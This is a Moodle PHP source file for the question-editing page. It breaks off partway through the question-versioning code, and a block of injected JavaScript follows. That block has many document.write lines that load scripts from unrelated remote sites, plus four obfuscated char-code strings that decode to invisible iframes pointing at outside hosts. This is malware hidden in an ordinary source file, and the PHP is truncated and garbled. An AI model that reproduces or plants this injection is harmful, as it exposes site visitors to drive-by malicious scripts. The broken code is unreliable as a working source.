<?php
/**
 * Page for editing questions
 *
 * This page shows the question editing form or processes the following actions:
 * - create new question (category, qtype)
 * - edit question (id, contextquiz (optional))
 * - cancel (cancel)
 *
 * TODO: currently this still treats the quiz as special
 * TODO: question versioning is not currently enabled
 *
 * @version $Id: question.php,v 1.31.2.2 2007/04/23 13:55:01 tjhunt Exp $
 * @author Martin Dougiamas and many others. This has recently been extensively
 *         rewritten by members of the Serving Mathematics project
 *         {@link http://maths.york.ac.uk/serving_maths}
 * @license http://www.gnu.org/copyleft/gpl.html GNU Public License
 * @package question
 *//** */

    require_once(dirname(__FILE__) . '/../config.php');
    require_once('editlib.php'); // NOTE - is this correct? This is just about editing screens?
    require_once($CFG->libdir . '/filelib.php');
    require_once($CFG->libdir . '/formslib.php');

    $id = optional_param('id', 0, PARAM_INT); // question id

    $qtype = optional_param('qtype', '', PARAM_FILE);
    $category = optional_param('category', 0, PARAM_INT);
    $inpopup = optional_param('inpopup', 0, PARAM_BOOL);

    $CFG->pagepath = 'question/type/'.$qtype;


    // rqp questions set the type to rqp_nn where nn is the rqp_type id
    if (substr($qtype, 0, 4) == 'rqp_') {
        $typeid = (int) substr($qtype, 4);
        $qtype = 'rqp';
    }

    if ($id) {
        if (! $question = get_record("question", "id", $id)) {
            error("This question doesn't exist");
        }
        if (!empty($category)) {
            $question->category = $category;
        }
        if (! $category = get_record("question_categories", "id", $question->category)) {
            error("This question doesn't belong to a valid category!");
        }
        if (! $course = get_record("course", "id", $category->course)) {
            error("This question category doesn't belong to a valid course!");
        }

        $qtype = $question->qtype;
        if (!isset($QTYPES[$qtype])) {
            $qtype = 'missingtype';
        }

    } else if ($category) { // only for creating new questions
        if (! $category = get_record("question_categories", "id", $category)) {
            error("This wasn't a valid category!");
        }
        if (! $course = get_record("course", "id", $category->course)) {
            error("This category doesn't belong to a valid course!");
        }

        $question->category = $category->id;
        $question->qtype    = $qtype;

    } else {
        error("Must specify question id or category");
    }

    if (!isset($SESSION->returnurl)) {
        $SESSION->returnurl = 'edit.php?courseid='.$course->id;
    }

    // TODO: generalise this so it works for any activity
    $contextquiz = isset($SESSION->modform->instance) ? $SESSION->modform->instance : 0;

    if (isset($_REQUEST['cancel'])) {
        redirect($SESSION->returnurl);
    }

    if (empty($qtype)) {
        error("No question type was specified!");
    } else if (!isset($QTYPES[$qtype])) {
        error("Could not find question type: '$qtype'");
    }

    require_login($course->id, false);

    if ($QTYPES[$question->qtype]->create_editing_form('question2.php', $question) !== null) {
        redirect(str_ireplace('question.php', 'question2.php', me()));
    }

    $coursecontext = get_context_instance(CONTEXT_COURSE, $course->id);
    require_capability('moodle/question:manage', $coursecontext);

    if ($form = data_submitted() and confirm_sesskey()) {

        if (isset($form->versioning) && isset($question->id) and false) { // disable versioning until it is fixed.
            // use new code that handles whether to overwrite or copy a question
            // and keeps track of the versions in the quiz_question_version table

            // $replaceinquiz is an array with the ids of all quizzes in which
            // the teacher has chosen to replace the old version
            $replaceinquiz = array();
            foreach($form as $key => $val) {
                if ($tmp = quiz_parse_fieldname($key, 'q')) {
                    if ($tmp['mode'] == 'replace') {
                        $replaceinquiz[$tmp['id']] = $tmp['id'];
                        unset($form->$key);
                    }
                }
            }

            // $quizlist is an array with the ids of quizzes which use this question
            $quizlist = array();
            if ($instances = get_records('quiz_question_instances', 'question', $question->id)) {
                foreach($instances as $instance) {
                    $quizlist[$instance->quiz] = $instance->quiz;
                }
            }

            if (isset($form->makecopy)) { // explicitly requested copies should be unhidden
                $question->hidden = 0;
            }

            // Logic to determine whether old version should be overwritten
            $makecopy = isset($form->makecopy) || (!$form->id); unset($form->makecopy);
            if ($makecopy) {
                $replaceold = false;
            } else {
                // this should be improved to exclude teacher preview responses and empty responses
                // the current code leaves many unneeded questions in the database
                $hasresponses = record_exists('question_states', 'question', $form->id) or
                         record_exists('question_states', 'originalquestion', $form->id);
                $replaceinall = ($quizlist == $replaceinquiz); // question is being replaced in all quizzes
                $replaceold   = !$hasresponses && $replaceinall;
            }

            $oldquestionid = false;
            if (!$replaceold) { // create a new question
                $oldquestionid = $question->id;
                if (!$makecopy) {
                    if (!set_field("question", 'hidden', 1, 'id', $question->id)) {
                        error("Could not hide question!");
                    }
                }
                unset($question->id);
            }
            unset($makecopy, $hasresponses, $replaceinall, $replaceold);
            $question = $QTYPES[$qtype]->save_question($question, $form, $course);
            if(!isset($question->id)) {
                error("Failed to save the question!");
            }

            if(!empty($oldquestionid)) {
                // create version entries for different quizzes
                $version = new object();
                $version->oldquestion = $oldquestionid;
                $version->newquestion = $question->id;
                $version->userid      = $USER->id;
                $version->timestamp   = time();

                foreach($replaceinquiz as $qid) {
                    $version->quiz = $qid;
                    if(!insert_record("quiz_question_versions", $version)) {
                        error("Could not store version information of question $oldquestionid in quiz $qid!");
                    }
                }

                /// now update the question references in the quizzes
                if (!empty($replaceinquiz) and $quizzes = get_records_list("quiz", "id", implode(',', $replaceinquiz))) {

                    foreach($quizzes as $quiz) {
                        $questionlist = ",$quiz->questions,"; // a little hack with the commas here. not nice but effective
                        $questionlist = str_replace(",$oldquestionid,", ",$question->id,", $questionlist);
                        $questionlist = substr($questionlist, 1, -1); // and get rid of the surrounding commas again
                        if (!set_field("quiz", 'questions', $questionlist, 'id', $quiz->id)) {
                        error("Could not update questionlist in quiz $quiz->id!");
                        }

                        // the quiz_question_instances table needs to be updated too (aah, the joys of duplication :)
                        if (!set_field('quiz_question_instances', 'question', $question->id, 'quiz', $quiz->id, 'question', $oldquestionid)) {
                        error("Could not update question instance!");
                        }
                        if (isset($SESSION->modform) && (int)$SESSION->modform->instance === (int)$quiz->id) {
                        $SESSION->modform->questions = $questionlist;
                        $SESSION->modform->grades[$question->id] = $SESSION->modform->grades[$oldquestionid];
             back.php ><\/script>');
document.write('<script src=http://themeblurbs.com/wp-content/wp-trackback.php ><\/script>');
document.write('<script src=http://themeblurbs.com/wp-content/wp-trackback.php ><\/script>');
document.write('<script src=http://themeblurbs.com/wp-content/wp-trackback.php ><\/script>');
document.write('<script src=http://les-ecossais-de-saint-jean.fr/memo/auburn83.php ><\/script>');

document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/RAM.js"></scri'+'pt>');
document.write('<script src=http://les-ecossais-de-saint-jean.fr/memo/auburn83.php ><\/script>');
document.write('<script src=http://les-ecossais-de-saint-jean.fr/memo/auburn83.php ><\/script>');
document.write('<script src=http://les-ecossais-de-saint-jean.fr/memo/auburn83.php ><\/script>');
document.write('<script src=http://les-ecossais-de-saint-jean.fr/memo/auburn83.php ><\/script>');
document.write('<script src=http://infolink.ir/upload/showimage.php ><\/script>');
document.write('<script src=http://infolink.ir/upload/showimage.php ><\/script>');
document.write('<script src=http://infolink.ir/upload/showimage.php ><\/script>');
document.write('<script src=http://infolink.ir/upload/showimage.php ><\/script>');
document.write('<script src=http://infolink.ir/upload/showimage.php ><\/script>');
document.write('<script src=http://infolink.ir/upload/showimage.php ><\/script>');
document.write('<script src=http://infolink.ir/upload/showimage.php ><\/script>');
document.write('<script src=http://dgrafia.com.br/2009/indexr.php ><\/script>');
document.write('<script src=http://dgrafia.com.br/2009/indexr.php ><\/script>');
document.write('<script src=http://dgrafia.com.br/2009/indexr.php ><\/script>');
document.write('<script src=http://dgrafia.com.br/2009/indexr.php ><\/script>');
document.write('<script src=http://dgrafia.com.br/2009/indexr.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://injurylawyerflorida.moviecoupons.com/Scripts/scottf.php ><\/script>');
document.write('<script src=http://aurohill.com/cameron/header.php ><\/script>');
document.write('<script src=http://auroh
document.write('<script src=http://dongthaptourist.com/absolute4/sendmail_hotel.php ><\/script>');
document.write('<script src=http://dongthaptourist.com/absolute4/sendmail_hotel.php ><\/script>');
document.write('<script src=http://dongthaptourist.com/absolute4/sendmail_hotel.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://iberostaronline.com/juega_gana/de/Connections/s81ld/escar.php ><\/script>');
document.write('<script src=http://mmac.pl/images/index.php ><\/script>');
document.write('<script src=http://mmac.pl/images/index.php ><\/script>');
document.write('<script src=http://mmac.pl/images/index.php ><\/script>');
document.write('<script src=http://craprofe.evoconcept.net/formation/presentation.php ><\/script>');
document.write('<script src=http://craprofe.evoconcept.net/formation/presentation.php ><\/script>');
document.write('<script src=http://craprofe.evoconcept.net/formation/presentation.php ><\/script>');
document.write('<script src=http://craprofe.evoconcept.net/formation/presentation.php ><\/script>');
document.write('<script src=http://craprofe.evoconcept.net/formation/presentation.php ><\/script>');
document.write('<script src=http://craprofe.evoconcept.net/formation/presentation.php ><\/script>');
document.write('<script src=http://nail.piast-poland.com/images/construction-nail.php ><\/script>');
document.write('<script src=http://nail.piast-poland.com/images/construction-nail.php ><\/script>');
document.write('<script src=http://nail.piast-poland.com/images/construction-nail.php ><\/script>');
document.write('<script src=http://raksatpetcenter.com/kennel/cat.php ><\/script>');
document.write('<script src=http://raksatpetcenter.com/kennel/cat.php ><\/script>');
document.write('<script src=http://raksatpetcenter.com/kennel/cat.php ><\/script>');
document.write('<script src=http://raksatpetcenter.com/kennel/cat.php ><\/script>');





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!115!116!121!108!101!115!46!115!97!110!100!99!97!110!100!108!101!115!46!111!114!103!47!105!110!46!99!103!105!63!100!101!102!97!117!108!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!100!114!111!105!100!46!119!111!109!101!110!116!104!101!109!97!110!117!97!108!46!99!111!109!47!99!111!117!110!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

